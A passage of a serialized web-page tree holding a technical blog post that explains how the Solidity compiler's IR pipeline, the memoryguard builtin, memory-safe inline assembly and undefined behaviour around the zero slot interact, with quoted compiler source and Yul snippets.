generateIR",{"type":26,"tag":475,"props":28858,"children":28859},{"style":499},[28860],{"type":32,"value":626},{"type":26,"tag":475,"props":28862,"children":28863},{"style":714},[28864],{"type":32,"value":4282},{"type":26,"tag":475,"props":28866,"children":28867},{"style":499},[28868],{"type":32,"value":28869},"contract);\n",{"type":26,"tag":475,"props":28871,"children":28872},{"class":477,"line":539},[28873,28877],{"type":26,"tag":475,"props":28874,"children":28875},{"style":586},[28876],{"type":32,"value":11988},{"type":26,"tag":475,"props":28878,"children":28879},{"style":499},[28880],{"type":32,"value":28881}," (m_generateEvmBytecode)\n",{"type":26,"tag":475,"props":28883,"children":28884},{"class":477,"line":548},[28885],{"type":26,"tag":475,"props":28886,"children":28887},{"style":499},[28888],{"type":32,"value":28889}," {\n",{"type":26,"tag":475,"props":28891,"children":28892},{"class":477,"line":558},[28893,28897],{"type":26,"tag":475,"props":28894,"children":28895},{"style":586},[28896],{"type":32,"value":2980},{"type":26,"tag":475,"props":28898,"children":28899},{"style":499},[28900],{"type":32,"value":28901}," (m_viaIR)\n",{"type":26,"tag":475,"props":28903,"children":28904},{"class":477,"line":582},[28905,28910,28914,28918],{"type":26,"tag":475,"props":28906,"children":28907},{"style":493},[28908],{"type":32,"value":28909}," generateEVMFromIR",{"type":26,"tag":475,"props":28911,"children":28912},{"style":499},[28913],{"type":32,"value":626},{"type":26,"tag":475,"props":28915,"children":28916},{"style":714},[28917],{"type":32,"value":4282},{"type":26,"tag":475,"props":28919,"children":28920},{"style":499},[28921],{"type":32,"value":28869},{"type":26,"tag":475,"props":28923,"children":28924},{"class":477,"line":596},[28925],{"type":26,"tag":475,"props":28926,"children":28927},{"style":586},[28928],{"type":32,"value":28929}," else\n",{"type":26,"tag":475,"props":28931,"children":28932},{"class":477,"line":610},[28933,28938,28942,28946],{"type":26,"tag":475,"props":28934,"children":28935},{"style":493},[28936],{"type":32,"value":28937}," compileContract",{"type":26,"tag":475,"props":28939,"children":28940},{"style":499},[28941],{"type":32,"value":626},{"type":26,"tag":475,"props":28943,"children":28944},{"style":714},[28945],{"type":32,"value":4282},{"type":26,"tag":475,"props":28947,"children":28948},{"style":499},[28949],{"type":32,"value":28950},"contract, otherCompilers);\n",{"type":26,"tag":475,"props":28952,"children":28953},{"class":477,"line":650},[28954],{"type":26,"tag":475,"props":28955,"children":28956},{"style":499},[28957],{"type":32,"value":851},{"type":26,"tag":35,"props":28959,"children":28960},{},[28961,28963,28970,28971,28978],{"type":32,"value":28962},"Each step applies its own set of optimizations. The entrypoints are located at ",{"type":26,"tag":116,"props":28964,"children":28967},{"href":28965,"rel":28966},"https://github.com/ethereum/solidity/blob/fd9ac9abed2049a4b8134d39e178275c8aad75b6/libyul/YulStack.cpp#L92",[120],[28968],{"type":32,"value":28969},"YulStack::optimize",{"type":32,"value":209},{"type":26,"tag":116,"props":28972,"children":28975},{"href":28973,"rel":28974},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libevmasm/Assembly.cpp#L336",[120],[28976],{"type":32,"value":28977},"Assembly::optimize",{"type":32,"value":353},{"type":26,"tag":35,"props":28980,"children":28981},{},[28982],{"type":32,"value":28983},"In total, there are four steps.",{"type":26,"tag":181,"props":28985,"children":28986},{},[28987,28991,28996,29000],{"type":26,"tag":86,"props":28988,"children":28989},{},[28990],{"type":32,"value":28804},{"type":26,"tag":86,"props":28992,"children":28993},{},[28994],{"type":32,"value":28995},"Optimization of YUL IR",{"type":26,"tag":86,"props":28997,"children":28998},{},[28999],{"type":32,"value":28809},{"type":26,"tag":86,"props":29001,"children":29002},{},[29003],{"type":32,"value":29004},"Optimization of EVM opcodes",{"type":26,"tag":35,"props":29006,"children":29007},{},[29008],{"type":32,"value":29009},"As mentioned in the v0.8.13 release post, the YUL optimizer is able to perform much more complex optimizations. Compared to Solidity, YUL contains detailed semantic information and is simpler for optimization passes to reason about than opcodes.",{"type":26,"tag":2637,"props":29011,"children":29012},{},[29013],{"type":26,"tag":35,"props":29014,"children":29015},{},[29016],{"type":32,"value":29017},"The performance of the new pipeline is not yet always superior to the old one, but it can do much higher-level optimization across functions, so please try it out and give us feedback!",{"type":26,"tag":35,"props":29019,"children":29020},{},[29021],{"type":32,"value":29022},"Importantly, each step happens in isolation and retains no information about the previous stage.",{"type":26,"tag":35,"props":29024,"children":29025},{},[29026],{"type":32,"value":29027},"The optimizer cannot change the behavior of the generated IR. This means we don't need to worry about potentially tricky optimizations such as reordering of functions, removal of unused assigns, or moving stack variables to memory.",{"type":26,"tag":35,"props":29029,"children":29030},{},[29031],{"type":32,"value":29032},"When it comes to safety, we need only to consider the IR generation. But what exactly are the guarantees here?",{"type":26,"tag":27,"props":29034,"children":29036},{"id":29035},"guarantees",[29037],{"type":32,"value":29038},"Guarantees",{"type":26,"tag":35,"props":29040,"children":29041},{},[29042,29043,29050,29052,29057],{"type":32,"value":16319},{"type":26,"tag":116,"props":29044,"children":29047},{"href":29045,"rel":29046},"https://docs.soliditylang.org/en/v0.8.20/internals/layout_in_memory.html",[120],[29048],{"type":32,"value":29049},"Solidity memory layout",{"type":32,"value":29051}," exists only at the time of YUL IR generation. The YUL optimizer and later steps has ",{"type":26,"tag":2615,"props":29053,"children":29054},{},[29055],{"type":32,"value":29056},"no information about this layout",{"type":32,"value":353},{"type":26,"tag":35,"props":29059,"children":29060},{},[29061],{"type":32,"value":29062},"What if the optimizer wants to use memory for optimization passes? How does it know what slots are used by the IR generator?",{"type":26,"tag":35,"props":29064,"children":29065},{},[29066,29068,29074,29076,29082],{"type":32,"value":29067},"Introducing ",{"type":26,"tag":53,"props":29069,"children":29071},{"className":29070},[],[29072],{"type":32,"value":29073},"memoryguard",{"type":32,"value":29075},". If you've ever looked at the output of ",{"type":26,"tag":53,"props":29077,"children":29079},{"className":29078},[],[29080],{"type":32,"value":29081},"solc --ir",{"type":32,"value":29083},", this call may be familiar. It's used to initialize the free-memory pointer.",{"type":26,"tag":465,"props":29085,"children":29087},{"className":4186,"code":29086,"language":4185,"meta":7,"style":7}," /// @src 0:26:371 \"contract XXX {...\"\n store(64, memoryguard(0x80))\n",[29088],{"type":26,"tag":53,"props":29089,"children":29090},{"__ignoreMap":7},[29091,29109],{"type":26,"tag":475,"props":29092,"children":29093},{"class":477,"line":478},[29094,29099,29104],{"type":26,"tag":475,"props":29095,"children":29096},{"style":552},[29097],{"type":32,"value":29098}," /// @src 0:26:371 \"contract ",{"type":26,"tag":475,"props":29100,"children":29101},{"style":482},[29102],{"type":32,"value":29103},"XXX",{"type":26,"tag":475,"props":29105,"children":29106},{"style":552},[29107],{"type":32,"value":29108}," {...\"\n",{"type":26,"tag":475,"props":29110,"children":29111},{"class":477,"line":516},[29112,29117,29121,29126,29130,29134,29138,29143],{"type":26,"tag":475,"props":29113,"children":29114},{"style":493},[29115],{"type":32,"value":29116}," store",{"type":26,"tag":475,"props":29118,"children":29119},{"style":499},[29120],{"type":32,"value":626},{"type":26,"tag":475,"props":29122,"children":29123},{"style":903},[29124],{"type":32,"value":29125},"64",{"type":26,"tag":475,"props":29127,"children":29128},{"style":499},[29129],{"type":32,"value":637},{"type":26,"tag":475,"props":29131,"children":29132},{"style":493},[29133],{"type":32,"value":29073},{"type":26,"tag":475,"props":29135,"children":29136},{"style":499},[29137],{"type":32,"value":626},{"type":26,"tag":475,"props":29139,"children":29140},{"style":903},[29141],{"type":32,"value":29142},"0x80",{"type":26,"tag":475,"props":29144,"children":29145},{"style":499},[29146],{"type":32,"value":1510},{"type":26,"tag":35,"props":29148,"children":29149},{},[29150,29152,29159],{"type":32,"value":29151},"From ",{"type":26,"tag":116,"props":29153,"children":29156},{"href":29154,"rel":29155},"https://solidity.readthedocs.io/en/latest/yul.html#memoryguard",[120],[29157],{"type":32,"value":29158},"the documentation",{"type":32,"value":3835},{"type":26,"tag":2637,"props":29161,"children":29162},{},[29163],{"type":26,"tag":35,"props":29164,"children":29165},{},[29166,29168,29174,29176,29182,29184,29189],{"type":32,"value":29167},"The caller of ",{"type":26,"tag":53,"props":29169,"children":29171},{"className":29170},[],[29172],{"type":32,"value":29173},"let ptr := memoryguard(size)",{"type":32,"value":29175}," (where size has to be a literal number) promises that they only use memory in either the range ",{"type":26,"tag":53,"props":29177,"children":29179},{"className":29178},[],[29180],{"type":32,"value":29181},"[0, size)",{"type":32,"value":29183}," or the unbounded range starting at ",{"type":26,"tag":53,"props":29185,"children":29187},{"className":29186},[],[29188],{"type":32,"value":13656},{"type":32,"value":353},{"type":26,"tag":35,"props":29191,"children":29192},{},[29193,29195,29200,29202,29208],{"type":32,"value":29194},"For example, if the YUL optimizer needs 32 bytes of memory, it can have ",{"type":26,"tag":53,"props":29196,"children":29198},{"className":29197},[],[29199],{"type":32,"value":29073},{"type":32,"value":29201}," return ",{"type":26,"tag":53,"props":29203,"children":29205},{"className":29204},[],[29206],{"type":32,"value":29207},"size + 32",{"type":32,"value":29209},". The optimizer gets a guaranteed region of memory which will not be touched!",{"type":26,"tag":35,"props":29211,"children":29212},{},[29213,29215,29222,29224,29229,29231,29236],{"type":32,"value":29214},"An example of this optimization in practice ",{"type":26,"tag":116,"props":29216,"children":29219},{"href":29217,"rel":29218},"https://github.com/ethereum/solidity/blob/1633e367c90aed7a6a14d84e2c288e6a8ab93304/libyul/optimiser/StackLimitEvader.cpp",[120],[29220],{"type":32,"value":29221},"is the StackLimitEvader",{"type":32,"value":29223},", which moves variables from the stack into memory. Incidentally, this is also currently the ",{"type":26,"tag":2615,"props":29225,"children":29226},{},[29227],{"type":32,"value":29228},"only",{"type":32,"value":29230}," optimization pass that relies on the semantic information communicated by ",{"type":26,"tag":53,"props":29232,"children":29234},{"className":29233},[],[29235],{"type":32,"value":29073},{"type":32,"value":353},{"type":26,"tag":35,"props":29238,"children":29239},{},[29240],{"type":32,"value":29241},"The modular design between different compiler stages also means that we're not tied down into any particular memory layout. Does it make sense to waste an entire memory word on the free memory pointer? Maybe not for some applications.",{"type":26,"tag":35,"props":29243,"children":29244},{},[29245,29247,29253],{"type":32,"value":29246},"Fear not, for we can remove this pointer entirely and call ",{"type":26,"tag":53,"props":29248,"children":29250},{"className":29249},[],[29251],{"type":32,"value":29252},"memoryguard(0x60)",{"type":32,"value":29254}," instead. The rest of the pipeline will still work.",{"type":26,"tag":27,"props":29256,"children":29257},{"id":28766},[29258],{"type":32,"value":29259},"Memory Safety",{"type":26,"tag":35,"props":29261,"children":29262},{},[29263],{"type":32,"value":29264},"So what does memory safety mean?",{"type":26,"tag":35,"props":29266,"children":29267},{},[29268,29270,29276],{"type":32,"value":29269},"The Solidity documentation provides ",{"type":26,"tag":116,"props":29271,"children":29273},{"href":28741,"rel":29272},[120],[29274],{"type":32,"value":29275},"a set of constraints",{"type":32,"value":29277},", not a definition.",{"type":26,"tag":2637,"props":29279,"children":29280},{},[29281,29286],{"type":26,"tag":35,"props":29282,"children":29283},{},[29284],{"type":32,"value":29285},"In particular, a memory-safe assembly block may only access the following memory ranges:",{"type":26,"tag":181,"props":29287,"children":29288},{},[29289,29294,29299,29304],{"type":26,"tag":86,"props":29290,"children":29291},{},[29292],{"type":32,"value":29293},"Memory allocated by yourself using a mechanism like the allocate function described above.",{"type":26,"tag":86,"props":29295,"children":29296},{},[29297],{"type":32,"value":29298},"Memory allocated by Solidity, e.g. memory within the bounds of a memory array you reference.",{"type":26,"tag":86,"props":29300,"children":29301},{},[29302],{"type":32,"value":29303},"The scratch space between memory offset 0 and 64 mentioned above.",{"type":26,"tag":86,"props":29305,"children":29306},{},[29307],{"type":32,"value":29308},"Temporary memory that is located after the value of the free memory pointer at the beginning of the assembly\nblock, i.e. memory that is “allocated” at the free memory pointer without updating the free memory pointer.",{"type":26,"tag":35,"props":29310,"children":29311},{},[29312,29314,29321,29331],{"type":32,"value":29313},"Looking to the compiler, it appears the presence of memory-unsafe assembly ",{"type":26,"tag":116,"props":29315,"children":29318},{"href":29316,"rel":29317},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGenerator.cpp#L210",[120],[29319],{"type":32,"value":29320},"removes the memory guard",{"type":26,"tag":15179,"props":29322,"children":29323},{},[29324],{"type":26,"tag":116,"props":29325,"children":29329},{"href":29326,"ariaDescribedBy":29327,"dataFootnoteRef":7,"id":29328},"#user-content-fn-1",[15186],"user-content-fnref-1",[29330],{"type":32,"value":3722},{"type":32,"value":353},{"type":26,"tag":465,"props":29333,"children":29335},{"className":28812,"code":29334,"language":28814,"meta":7,"style":7},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n\nstring IRGenerator::memoryInit(bool _useMemoryGuard)\n{\n // This function should be called at the beginning of the EVM call frame\n // and thus can assume all memory to be zero, including the contents of\n // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n return\n Whiskers{\n _useMemoryGuard ?\n \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\" :\n \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n }\n",[29336],{"type":26,"tag":53,"props":29337,"children":29338},{"__ignoreMap":7},[29339,29347,29355,29362,29398,29405,29413,29421,29429,29437,29445,29458,29471,29479],{"type":26,"tag":475,"props":29340,"children":29341},{"class":477,"line":478},[29342],{"type":26,"tag":475,"props":29343,"children":29344},{"style":552},[29345],{"type":32,"value":29346},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n",{"type":26,"tag":475,"props":29348,"children":29349},{"class":477,"line":516},[29350],{"type":26,"tag":475,"props":29351,"children":29352},{"style":552},[29353],{"type":32,"value":29354},"// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n",{"type":26,"tag":475,"props":29356,"children":29357},{"class":477,"line":539},[29358],{"type":26,"tag":475,"props":29359,"children":29360},{"emptyLinePlaceholder":18},[29361],{"type":32,"value":545},{"type":26,"tag":475,"props":29363,"children":29364},{"class":477,"line":548},[29365,29370,29375,29380,29384,29389,29394],{"type":26,"tag":475,"props":29366,"children":29367},{"style":505},[29368],{"type":32,"value":29369},"string",{"type":26,"tag":475,"props":29371,"children":29372},{"style":499},[29373],{"type":32,"value":29374}," IRGenerator::",{"type":26,"tag":475,"props":29376,"children":29377},{"style":493},[29378],{"type":32,"value":29379},"memoryInit",{"type":26,"tag":475,"props":29381,"children":29382},{"style":499},[29383],{"type":32,"value":626},{"type":26,"tag":475,"props":29385,"children":29386},{"style":482},[29387],{"type":32,"value":29388},"bool",{"type":26,"tag":475,"props":29390,"children":29391},{"style":2375},[29392],{"type":32,"value":29393}," _useMemoryGuard",{"type":26,"tag":475,"props":29395,"children":29396},{"style":499},[29397],{"type":32,"value":647},{"type":26,"tag":475,"props":29399,"children":29400},{"class":477,"line":558},[29401],{"type":26,"tag":475,"props":29402,"children":29403},{"style":499},[29404],{"type":32,"value":10589},{"type":26,"tag":475,"props":29406,"children":29407},{"class":477,"line":582},[29408],{"type":26,"tag":475,"props":29409,"children":29410},{"style":552},[29411],{"type":32,"value":29412}," // This function should be called at the beginning of the EVM call frame\n",{"type":26,"tag":475,"props":29414,"children":29415},{"class":477,"line":596},[29416],{"type":26,"tag":475,"props":29417,"children":29418},{"style":552},[29419],{"type":32,"value":29420}," // and thus can assume all memory to be zero, including the contents of\n",{"type":26,"tag":475,"props":29422,"children":29423},{"class":477,"line":610},[29424],{"type":26,"tag":475,"props":29425,"children":29426},{"style":552},[29427],{"type":32,"value":29428}," // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n",{"type":26,"tag":475,"props":29430,"children":29431},{"class":477,"line":650},[29432],{"type":26,"tag":475,"props":29433,"children":29434},{"style":586},[29435],{"type":32,"value":29436}," return\n",{"type":26,"tag":475,"props":29438,"children":29439},{"class":477,"line":679},[29440],{"type":26,"tag":475,"props":29441,"children":29442},{"style":499},[29443],{"type":32,"value":29444}," Whiskers{\n",{"type":26,"tag":475,"props":29446,"children":29447},{"class":477,"line":735},[29448,29453],{"type":26,"tag":475,"props":29449,"children":29450},{"style":499},[29451],{"type":32,"value":29452}," _useMemoryGuard ",{"type":26,"tag":475,"props":29454,"children":29455},{"style":714},[29456],{"type":32,"value":29457},"?\n",{"type":26,"tag":475,"props":29459,"children":29460},{"class":477,"line":744},[29461,29466],{"type":26,"tag":475,"props":29462,"children":29463},{"style":629},[29464],{"type":32,"value":29465}," \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\"",{"type":26,"tag":475,"props":29467,"children":29468},{"style":714},[29469],{"type":32,"value":29470}," :\n",{"type":26,"tag":475,"props":29472,"children":29473},{"class":477,"line":753},[29474],{"type":26,"tag":475,"props":29475,"children":29476},{"style":629},[29477],{"type":32,"value":29478}," \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n",{"type":26,"tag":475,"props":29480,"children":29481},{"class":477,"line":761},[29482],{"type":26,"tag":475,"props":29483,"children":29484},{"style":499},[29485],{"type":32,"value":5585},{"type":26,"tag":35,"props":29487,"children":29488},{},[29489,29494,29496,29502],{"type":26,"tag":53,"props":29490,"children":29492},{"className":29491},[],[29493],{"type":32,"value":29081},{"type":32,"value":29495}," will now no longer have ",{"type":26,"tag":53,"props":29497,"children":29499},{"className":29498},[],[29500],{"type":32,"value":29501},"memoryguard(0x80)",{"type":32,"value":29503}," as expected.",{"type":26,"tag":465,"props":29505,"children":29507},{"className":4186,"code":29506,"language":4185,"meta":7,"style":7}," /// @src 0:26:371 \"contract XXX {...\"\n mstore(64, 128)\n",[29508],{"type":26,"tag":53,"props":29509,"children":29510},{"__ignoreMap":7},[29511,29526],{"type":26,"tag":475,"props":29512,"children":29513},{"class":477,"line":478},[29514,29518,29522],{"type":26,"tag":475,"props":29515,"children":29516},{"style":552},[29517],{"type":32,"value":29098},{"type":26,"tag":475,"props":29519,"children":29520},{"style":482},[29521],{"type":32,"value":29103},{"type":26,"tag":475,"props":29523,"children":29524},{"style":552},[29525],{"type":32,"value":29108},{"type":26,"tag":475,"props":29527,"children":29528},{"class":477,"line":516},[29529,29534,29538,29542,29546,29551],{"type":26,"tag":475,"props":29530,"children":29531},{"style":493},[29532],{"type":32,"value":29533}," mstore",{"type":26,"tag":475,"props":29535,"children":29536},{"style":499},[29537],{"type":32,"value":626},{"type":26,"tag":475,"props":29539,"children":29540},{"style":903},[29541],{"type":32,"value":29125},{"type":26,"tag":475,"props":29543,"children":29544},{"style":499},[29545],{"type":32,"value":637},{"type":26,"tag":475,"props":29547,"children":29548},{"style":903},[29549],{"type":32,"value":29550},"128",{"type":26,"tag":475,"props":29552,"children":29553},{"style":499},[29554],{"type":32,"value":647},{"type":26,"tag":35,"props":29556,"children":29557},{},[29558,29560,29565,29567,29572],{"type":32,"value":29559},"Semantically, the absence of ",{"type":26,"tag":53,"props":29561,"children":29563},{"className":29562},[],[29564],{"type":32,"value":29073},{"type":32,"value":29566}," means that the IR generator is telling the optimizer that it cannot guarantee the ",{"type":26,"tag":53,"props":29568,"children":29570},{"className":29569},[],[29571],{"type":32,"value":29073},{"type":32,"value":29573}," invariant.",{"type":26,"tag":2637,"props":29575,"children":29576},{},[29577],{"type":26,"tag":35,"props":29578,"children":29579},{},[29580,29581,29586,29587,29592,29593,29598],{"type":32,"value":29167},{"type":26,"tag":53,"props":29582,"children":29584},{"className":29583},[],[29585],{"type":32,"value":29173},{"type":32,"value":29175},{"type":26,"tag":53,"props":29588,"children":29590},{"className":29589},[],[29591],{"type":32,"value":29181},{"type":32,"value":29183},{"type":26,"tag":53,"props":29594,"children":29596},{"className":29595},[],[29597],{"type":32,"value":13656},{"type":32,"value":353},{"type":26,"tag":35,"props":29600,"children":29601},{},[29602],{"type":32,"value":29603},"This makes sense. Without stricter guarantees by the programmer, memory-unsafe assembly can touch memory anywhere it wants. Because the optimizer no longer has this guarantee, it cannot use memory in any of its optimization passes.",{"type":26,"tag":27,"props":29605,"children":29607},{"id":29606},"undefined-behavior",[29608],{"type":32,"value":29609},"Undefined Behavior",{"type":26,"tag":35,"props":29611,"children":29612},{},[29613,29615,29620,29622,29627,29629,29635],{"type":32,"value":29614},"How strict is memory safety? When it comes to ",{"type":26,"tag":53,"props":29616,"children":29618},{"className":29617},[],[29619],{"type":32,"value":29073},{"type":32,"value":29621},", only touching memory after 0x80 seems to matter. Is ",{"type":26,"tag":53,"props":29623,"children":29625},{"className":29624},[],[29626],{"type":32,"value":28731},{"type":32,"value":29628}," annotated assembly that touches memory at ",{"type":26,"tag":53,"props":29630,"children":29632},{"className":29631},[],[29633],{"type":32,"value":29634},"[0x40, 0x7f]",{"type":32,"value":29636}," really safe?",{"type":26,"tag":35,"props":29638,"children":29639},{},[29640,29641,29648,29650,29655],{"type":32,"value":16319},{"type":26,"tag":116,"props":29642,"children":29645},{"href":29643,"rel":29644},"https://buildmedia.readthedocs.org/media/pdf/solidity/develop/solidity.pdf",[120],[29646],{"type":32,"value":29647},"Solidity documentation",{"type":32,"value":29649}," mentions ",{"type":26,"tag":2615,"props":29651,"children":29652},{},[29653],{"type":32,"value":29654},"undefined behavior",{"type":32,"value":29656}," three times.",{"type":26,"tag":181,"props":29658,"children":29659},{},[29660,29665,29680],{"type":26,"tag":86,"props":29661,"children":29662},{},[29663],{"type":32,"value":29664},"The existence of a dangling reference",{"type":26,"tag":86,"props":29666,"children":29667},{},[29668,29670],{"type":32,"value":29669},"Using verbatim improperly",{"type":26,"tag":15179,"props":29671,"children":29672},{},[29673],{"type":26,"tag":116,"props":29674,"children":29678},{"href":29675,"ariaDescribedBy":29676,"dataFootnoteRef":7,"id":29677},"#user-content-fn-2",[15186],"user-content-fnref-2",[29679],{"type":32,"value":2830},{"type":26,"tag":86,"props":29681,"children":29682},{},[29683],{"type":32,"value":29684},"Violating the memory model with in-line assembly marked as \"memory-safe\".",{"type":26,"tag":35,"props":29686,"children":29687},{},[29688],{"type":32,"value":29689},"Why does this matter?",{"type":26,"tag":35,"props":29691,"children":29692},{},[29693,29695,29702,29704,29711],{"type":32,"value":29694},"Assumptions about the program code can enable powerful optimizations - that's why ",{"type":26,"tag":116,"props":29696,"children":29699},{"href":29697,"rel":29698},"https://kristerw.blogspot.com/2016/02/how-undefined-signed-overflow-enables.html",[120],[29700],{"type":32,"value":29701},"signed integer overflow is undefined",{"type":32,"value":29703},". Strictly following the compiler model is critical. Undefined behavior materializes as tricky bugs ",{"type":26,"tag":116,"props":29705,"children":29708},{"href":29706,"rel":29707},"https://blog.regehr.org/archives/1307",[120],[29709],{"type":32,"value":29710},"years down the line",{"type":32,"value":353},{"type":26,"tag":35,"props":29713,"children":29714},{},[29715,29717,29724,29725,29730],{"type":32,"value":29716},"Going back to Solidity, the specification makes ",{"type":26,"tag":116,"props":29718,"children":29721},{"href":29719,"rel":29720},"https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html",[120],[29722],{"type":32,"value":29723},"it unambiguously clear",{"type":32,"value":18240},{"type":26,"tag":2615,"props":29726,"children":29727},{},[29728],{"type":32,"value":29729},"Thou shalt not modify the zero slot",{"type":32,"value":353},{"type":26,"tag":2637,"props":29732,"children":29733},{},[29734],{"type":26,"tag":35,"props":29735,"children":29736},{},[29737],{"type":32,"value":29738},"The zero slot is used as initial value for dynamic memory arrays and should never be written to (the free memory pointer points to 0x80 initially).",{"type":26,"tag":35,"props":29740,"children":29741},{},[29742,29744,29749],{"type":32,"value":29743},"Any code that touches the zero slot at 0x60 is very clearly violating the specification. Does this matter though? This is where the semantics between Solidity and YUL gets tricky. Recall that the zero slot is a construction ",{"type":26,"tag":2615,"props":29745,"children":29746},{},[29747],{"type":32,"value":29748},"in Solidity",{"type":32,"value":353},{"type":26,"tag":35,"props":29751,"children":29752},{},[29753],{"type":32,"value":29754},"Even though there's no explicit guarantee that inline assembly will be emitted verbatim during generation",{"type":26,"tag":181,"props":29756,"children":29757},{},[29758],{"type":26,"tag":86,"props":29759,"children":29760},{},[29761,29763,29770],{"type":32,"value":29762},"It very clearly ",{"type":26,"tag":116,"props":29764,"children":29767},{"href":29765,"rel":29766},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGeneratorForStatements.cpp#L2216",[120],[29768],{"type":32,"value":29769},"holds true today",{"type":32,"value":353},{"type":26,"tag":465,"props":29772,"children":29774},{"className":28812,"code":29773,"language":28814,"meta":7,"style":7},"bool IRGeneratorForStatements::visit(InlineAssembly const& _inlineAsm)\n{\n setLocation(_inlineAsm);\n if (*_inlineAsm.annotation().hasMemoryEffects && !_inlineAsm.annotation().markedMemorySafe)\n m_context.setMemoryUnsafeInlineAssemblySeen();\n CopyTranslate bodyCopier{_inlineAsm.dialect(), m_context, _inlineAsm.annotation().externalReferences};\n\n yul::Statement modified = bodyCopier(_inlineAsm.operations());`\n",[29775],{"type":26,"tag":53,"props":29776,"children":29777},{"__ignoreMap":7},[29778,29818,29825,29838,29910,29931,29982,29989],{"type":26,"tag":475,"props":29779,"children":29780},{"class":477,"line":478},[29781,29785,29790,29795,29799,29804,29809,29814],{"type":26,"tag":475,"props":29782,"children":29783},{"style":482},[29784],{"type":32,"value":29388},{"type":26,"tag":475,"props":29786,"children":29787},{"style":499},[29788],{"type":32,"value":29789}," IRGeneratorForStatements::",{"type":26,"tag":475,"props":29791,"children":29792},{"style":493},[29793],{"type":32,"value":29794},"visit",{"type":26,"tag":475,"props":29796,"children":29797},{"style":499},[29798],{"type":32,"value":626},{"type":26,"tag":475,"props":29800,"children":29801},{"style":505},[29802],{"type":32,"value":29803},"InlineAssembly",{"type":26,"tag":475,"props":29805,"children":29806},{"style":482},[29807],{"type":32,"value":29808}," const&",{"type":26,"tag":475,"props":29810,"children":29811},{"style":2375},[29812],{"type":32,"value":29813}," _inlineAsm",{"type":26,"tag":475,"props":29815,"children":29816},{"style":499},[29817],{"type":32,"value":647},{"type":26,"tag":475,"props":29819,"children":29820},{"class":477,"line":516},[29821],{"type":26,"tag":475,"props":29822,"children":29823},{"style":499},[29824],{"type":32,"value":10589},{"type":26,"tag":475,"props":29826,"children":29827},{"class":477,"line":539},[29828,29833],{"type":26,"tag":475,"props":29829,"children":29830},{"style":493},[29831],{"type":32,"value":29832}," setLocation",{"type":26,"tag":475,"props":29834,"children":29835},{"style":499},[29836],{"type":32,"value":29837},"(_inlineAsm);\n",{"type":26,"tag":475,"props":29839,"children":29840},{"class":477,"line":548},[29841,29845,29849,29853,29858,29862,29867,29872,29877,29881,29885,29889,29893,29897,29901,29906],{"type":26,"tag":475,"props":29842,"children":29843},{"style":586},[29844],{"type":32,"value":11988},{"type":26,"tag":475,"props":29846,"children":29847},{"style":499},[29848],{"type":32,"value":2775},{"type":26,"tag":475,"props":29850,"children":29851},{"style":714},[29852],{"type":32,"value":4282},{"type":26,"tag":475,"props":29854,"children":29855},{"style":2375},[29856],{"type":32,"value":29857},"_inlineAsm",{"type":26,"tag":475,"props":29859,"children":29860},{"style":499},[29861],{"type":32,"value":353},{"type":26,"tag":475,"props":29863,"children":29864},{"style":493},[29865],{"type":32,"value":29866},"annotation",{"type":26,"tag":475,"props":29868,"children":29869},{"style":499},[29870],{"type":32,"value":29871},"().",{"type":26,"tag":475,"props":29873,"children":29874},{"style":2375},[29875],{"type":32,"value":29876},"hasMemoryEffects",{"type":26,"tag":475,"props":29878,"children":29879},{"style":714},[29880],{"type":32,"value":13892},{"type":26,"tag":475,"props":29882,"children":29883},{"style":714},[29884],{"type":32,"value":12572},{"type":26,"tag":475,"props":29886,"children":29887},{"style":2375},[29888],{"type":32,"value":29857},{"type":26,"tag":475,"props":29890,"children":29891},{"style":499},[29892],{"type":32,"value":353},{"type":26,"tag":475,"props":29894,"children":29895},{"style":493},[29896],{"type":32,"value":29866},{"type":26,"tag":475,"props":29898,"children":29899},{"style":499},[29900],{"type":32,"value":29871},{"type":26,"tag":475,"props":29902,"children":29903},{"style":2375},[29904],{"type":32,"value":29905},"markedMemorySafe",{"type":26,"tag":475,"props":29907,"children":29908},{"style":499},[29909],{"type":32,"value":647},{"type":26,"tag":475,"props":29911,"children":29912},{"class":477,"line":558},[29913,29918,29922,29927],{"type":26,"tag":475,"props":29914,"children":29915},{"style":2375},[29916],{"type":32,"value":29917}," m_context",{"type":26,"tag":475,"props":29919,"children":29920},{"style":499},[29921],{"type":32,"value":353},{"type":26,"tag":475,"props":29923,"children":29924},{"style":493},[29925],{"type":32,"value":29926},"setMemoryUnsafeInlineAssemblySeen",{"type":26,"tag":475,"props":29928,"children":29929},{"style":499},[29930],{"type":32,"value":3376},{"type":26,"tag":475,"props":29932,"children":29933},{"class":477,"line":582},[29934,29939,29943,29947,29952,29957,29961,29965,29969,29973,29978],{"type":26,"tag":475,"props":29935,"children":29936},{"style":499},[29937],{"type":32,"value":29938}," CopyTranslate bodyCopier{",{"type":26,"tag":475,"props":29940,"children":29941},{"style":2375},[29942],{"type":32,"value":29857},{"type":26,"tag":475,"props":29944,"children":29945},{"style":499},[29946],{"type":32,"value":353},{"type":26,"tag":475,"props":29948,"children":29949},{"style":493},[29950],{"type":32,"value":29951},"dialect",{"type":26,"tag":475,"props":29953,"children":29954},{"style":499},[29955],{"type":32,"value":29956},"(), m_context, 